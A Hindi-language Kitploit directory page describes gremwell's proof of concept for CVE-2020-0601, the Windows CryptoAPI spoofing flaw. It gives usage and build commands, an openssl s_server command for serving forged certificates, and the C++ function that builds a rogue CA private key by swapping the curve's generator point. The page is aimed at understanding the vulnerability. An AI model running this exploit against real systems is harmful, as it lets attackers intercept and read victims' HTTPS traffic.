Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2020-0601_poc — CVE-2020-0601 (Windows CryptoAPI स्पूफिंग) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो HTTPS ट्रैफ़िक को इंटरसेप्ट करने के लिए नकली CA सर्टिफिकेट जनरेट करता है, साथ में विस्तृत सोर्स कोड जो एलिप्टिक कर्व अटैक की व्याख्या करता है। | Kitploit
उपकरण/GitHubGitHub/gremwell/cve-2020-0601_poc
शोषणवेब सुरक्षाक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubgremwell/cve-2020-0601_poc

cve-2020-0601_poc

CVE-2020-0601 (Windows CryptoAPI स्पूफिंग) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो HTTPS ट्रैफ़िक को इंटरसेप्ट करने के लिए नकली CA सर्टिफिकेट जनरेट करता है, साथ में विस्तृत सोर्स कोड जो एलिप्टिक कर्व अटैक की व्याख्या करता है।

रिपॉजिटरी देखें
2226 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

मूल जानकारी

इस उपकरण का स्रोत कोड Windows Crypto API में पाई गई CVE-2020-0601 कमजोरी को समझने में मदद करने के लिए है, देखें CERT का अवलोकन।

यह उपकरण किसी भी डोमेन के लिए एक प्रमाणपत्र उत्पन्न करने के लिए इस्तेमाल किया जा सकता है जो एक दुष्ट प्रमाणपत्र प्राधिकरण (CA) द्वारा हस्ताक्षरित होगा। यह उपकरण कमांड लाइन पर दिए गए सार्वजनिक कुंजी के समान सार्वजनिक कुंजी वाला दुष्ट CA उत्पन्न करता है।

जब एक कमजोर Windows बिल्ड का वेब ब्राउज़र इस प्रमाणपत्र को लक्षित करता है, तो इसे विश्वसनीय माना जाएगा। इस प्रकार, उपयुक्त स्थिति वाला नेटवर्क-आधारित हमलावर पीड़ित के ट्रैफ़िक को इंटरसेप्ट कर सकता है।

सारांश

उपकरण को एक विश्वसनीय Windows प्रमाणपत्र का पथ प्रदान करके लॉन्च करें:

root@kitploit:~
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt

उपरोक्त उदाहरण में निम्नलिखित सार्वजनिक कुंजी वाला USERTrust ECC Certification Authority उपयोग किया गया है:

root@kitploit:~
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79

यह उपकरण अपनी वर्तमान कार्यशील निर्देशिका में कई प्रमाणपत्र और कुंजियाँ सहेजेगा:

root@kitploit:~
test-cve_evil-ca.crt -- दुष्ट CA test-cve_evil-privkey.key -- दुष्ट CA की निजी कुंजी PEM प्रारूप में test-cve_evil-privkey-pk8.key -- दुष्ट CA की निजी कुंजी PKCS#8 प्रारूप में test-cve_host-cert.crt -- लक्ष्य होस्ट का प्रमाणपत्र (डिफ़ॉल्ट रूप से example.com) test-cve_host-privkey.key -- लक्ष्य होस्ट की निजी कुंजी (डिफ़ॉल्ट रूप से example.com)

प्रमाणपत्रों का परीक्षण करने के लिए openssl s_server को निम्नानुसार लॉन्च करें और अपने कमजोर Windows बॉक्स से https://example.com/ के अनुरोधों को इसकी ओर रीडायरेक्ट करें:

root@kitploit:~
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

सुनिश्चित करें कि मूल प्रमाणपत्र कैश किया गया है!

परिणाम कुछ इस प्रकार दिखना चाहिए: example.com स्पूफिंग

निर्माण

cmake का उपयोग इस उपकरण को बनाने के लिए make फ़ाइल उत्पन्न करने में किया जाता है। निर्भरता के रूप में निम्नलिखित पुस्तकालयों की आवश्यकता है:

  • openssl (> 1.0)
  • cryptopp

बनाना:

root@kitploit:~
mkdir build
cd build
cmake ..
make

विवरण

विस्तृत (अपेक्षाकृत) विवरण किसी बिंदु पर Gremwell की वेबसाइट पर जोड़ा जाएगा।

main.cpp फ़ाइल को देखकर शुरू करें। यह विभिन्न OpenSSL रैपरों को कॉल करता है जो महत्वपूर्ण हैं, लेकिन स्वयं कमजोरी से संबंधित नहीं हैं। सबसे दिलचस्प भाग cve-2020-0601_poc.cpp फ़ाइल में है:

root@kitploit:~
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
                      char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
                      bool doSave, const char *evilPrivKeyFileName)
{
    // load public key of the provided certificate into native CryptoPP type
    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
                                         caPubKeyRawLen, true).Ref());

    // generate a private key using the same curve as in the provided CA certificate
    CryptoPP::AutoSeededRandomPool prng;
    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

    // get the private key elliptic curve parameters
    CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
    ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
    CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();

    // calculate an inverse value of the private key
    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
    // produce our custom generator (base point) as a multiplication of the inverse value of our private key
    // and the public key of the provided CA certificate
    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

    // create an "evil" private key object using the base private's key exponent and curve but
    // with our "evil" generator (base point)
    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

    // convert evil private key into PKCS8 format
    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

    if (doSave) {
        // save it as-is so this can be imported by some tools
        evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
    }

    // the code below converts the key to DER format
    // however, as we have here our custom curve (not the "named" one), most of the
    // tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
    CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
    privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
    *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif

    return true;
}

यहाँ टिप्पणियाँ काफी स्व-व्याख्यात्मक होनी चाहिए। :-)

आभार

kudelskisecurity ब्लॉग और वहाँ उल्लिखित संदर्भों का धन्यवाद।

टूल डाउनलोड करें